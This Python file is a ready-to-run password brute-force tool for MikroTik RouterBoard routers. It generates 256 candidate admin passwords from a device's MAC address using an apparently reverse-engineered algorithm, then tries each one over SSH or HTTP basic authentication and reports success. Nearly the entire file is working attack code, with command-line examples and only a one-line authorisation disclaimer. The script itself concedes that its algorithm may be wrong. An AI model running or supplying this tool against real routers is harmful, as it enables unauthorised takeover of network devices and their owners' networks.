network/mikrotik-brutefast.py
2026-05-08 17:47:42 -05:00

248 lines
7.9 KiB
Python

"""
MikroTik RouterBoard Targeted Password Brute Force
Based on reverse engineered algorithm analysis:
- Only tries 256 possible passwords (one per MAC[0] value)
- Assumes 0xD0 and 0xFF are fixed constants
- Uses actual MAC address bytes for MAC[1], MAC[2], MAC[3]
- Takes ~2-5 minutes instead of thousands of years!
Algorithm:
PWD[0] = MAC[0] XOR 0xD0
PWD[1] = MAC[1]
PWD[2] = NOT(MAC[2])
PWD[3] = 0xFF
USAGE: Only use on devices you own or have authorization to access.
"""
import sys
import time
import argparse
class MikroTikTargetedBruteForce:
"""Targeted brute force for MikroTik passwords."""
def __init__(self, mac_address, host, port=22, use_http=False, timeout=5):
"""
Initialize the targeted brute force.
Args:
mac_address (str): MAC address of device (e.g., "18:FD:74:F9:04:FC")
host (str): IP address of device
port (int): Port (22 for SSH, 80 for HTTP)
use_http (bool): Use HTTP instead of SSH
timeout (int): Connection timeout in seconds
"""
self.mac_address = mac_address.upper()
self.host = host
self.port = port
self.use_http = use_http
self.timeout = timeout
self.username = "admin"
self.attempts = 0
self.found_password = None
def parse_mac(self, mac_string):
"""Parse MAC address string into bytes."""
parts = mac_string.upper().split(":")
if len(parts) != 6:
raise ValueError(f"Invalid MAC address: {mac_string}")
try:
return [int(part, 16) for part in parts]
except ValueError:
raise ValueError(f"Invalid MAC address format: {mac_string}")
def generate_password_for_mac_byte_0(self, mac_byte_0):
"""
Generate password for a specific MAC[0] value.
Args:
mac_byte_0 (int): Value for MAC[0] (0-255)
Returns:
str: Password in format "xxxx-xxxx"
"""
# Use actual MAC bytes for 1-3
mac_bytes = self.parse_mac(self.mac_address)
b0, b1, b2, b3 = mac_bytes[0], mac_bytes[1], mac_bytes[2], mac_bytes[3]
# But vary b0 for brute forcing
pwd_byte_0 = mac_byte_0 ^ 0xD0
pwd_byte_1 = b1
pwd_byte_2 = (~b2) & 0xFF # NOT operation
pwd_byte_3 = 0xFF
hex_string = f"{pwd_byte_0:02x}{pwd_byte_1:02x}{pwd_byte_2:02x}{pwd_byte_3:02x}"
return f"{hex_string[:4]}-{hex_string[4:]}"
def try_password_ssh(self, password):
"""Try connecting via SSH."""
try:
import paramiko
except ImportError:
print("Error: paramiko not installed. Install with: pip install paramiko")
return False
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=self.port,
username=self.username,
password=password,
timeout=self.timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
def try_password_http(self, password):
"""Try connecting via HTTP."""
try:
import requests
from requests.auth import HTTPBasicAuth
except ImportError:
print("Error: requests not installed. Install with: pip install requests")
return False
try:
response = requests.get(
f"http://{self.host}:{self.port}/",
auth=HTTPBasicAuth(self.username, password),
timeout=self.timeout,
)
return response.status_code == 200
except Exception:
return False
def try_password(self, password):
"""Try a password."""
if self.use_http:
return self.try_password_http(password)
else:
return self.try_password_ssh(password)
def brute_force(self):
"""Run the targeted brute force (256 attempts)."""
print("MikroTik Targeted Password Brute Force")
print("=" * 50)
print()
print(f"MAC Address: {self.mac_address}")
print(f"Target: {self.host}:{self.port}")
print(f"Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
print()
print("Algorithm:")
print(" PWD[0] = MAC[0] XOR 0xD0")
print(" PWD[1] = MAC[1]")
print(" PWD[2] = NOT(MAC[2])")
print(" PWD[3] = 0xFF")
print()
print("Trying 256 possible passwords (MAC[0] from 0x00 to 0xFF)...")
print()
mac_bytes = self.parse_mac(self.mac_address)
start_time = time.time()
for mac_byte_0 in range(256):
password = self.generate_password_for_mac_byte_0(mac_byte_0)
self.attempts += 1
if self.attempts % 32 == 1 or self.attempts == 1:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(
f"[*] Attempt {self.attempts}/256 ({rate:.1f} pwd/sec) - "
f"Trying: {password}"
)
if self.try_password(password):
elapsed = time.time() - start_time
print()
print("=" * 50)
print(f"[+] SUCCESS! Password found!")
print(f"[+] Password: {password}")
print(f"[+] Total attempts: {self.attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
print("=" * 50)
self.found_password = password
return password
elapsed = time.time() - start_time
print()
print("=" * 50)
print("[-] Brute force complete. Password not found.")
print(f"[-] This means:")
print(f" 1. The constants 0xD0 or 0xFF might not be fixed")
print(f" 2. The algorithm might be different")
print(f" 3. Or the device might have a different password algorithm")
print(f"[*] Total attempts: {self.attempts}/256")
print(f"[*] Time elapsed: {elapsed:.2f} seconds")
print("=" * 50)
return None
def main():
"""Main entry point."""
parser = argparse.ArgumentParser(
description="MikroTik Targeted Password Brute Force (256 attempts)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python script.py 18:FD:74:F9:04:FC 192.168.88.1
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --method http --port 80
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --port 2222
""",
)
parser.add_argument("mac", help="MAC address of device (e.g., 18:FD:74:F9:04:FC)")
parser.add_argument("host", help="IP address of device (e.g., 192.168.88.1)")
parser.add_argument(
"--port", type=int, default=22, help="Port number (default: 22 for SSH, 80 for HTTP)"
)
parser.add_argument(
"--method",
choices=["ssh", "http"],
default="ssh",
help="Connection method (default: ssh)",
)
parser.add_argument(
"--timeout", type=int, default=5, help="Connection timeout in seconds (default: 5)"
)
args = parser.parse_args()
# Validate MAC address
try:
brute_forcer = MikroTikTargetedBruteForce(
args.mac,
args.host,
port=args.port,
use_http=(args.method == "http"),
timeout=args.timeout,
)
except ValueError as e:
print(f"Error: {e}")
sys.exit(1)
# Run brute force
password = brute_forcer.brute_force()
if password:
sys.exit(0)
else:
sys.exit(1)
if __name__ == "__main__":
main()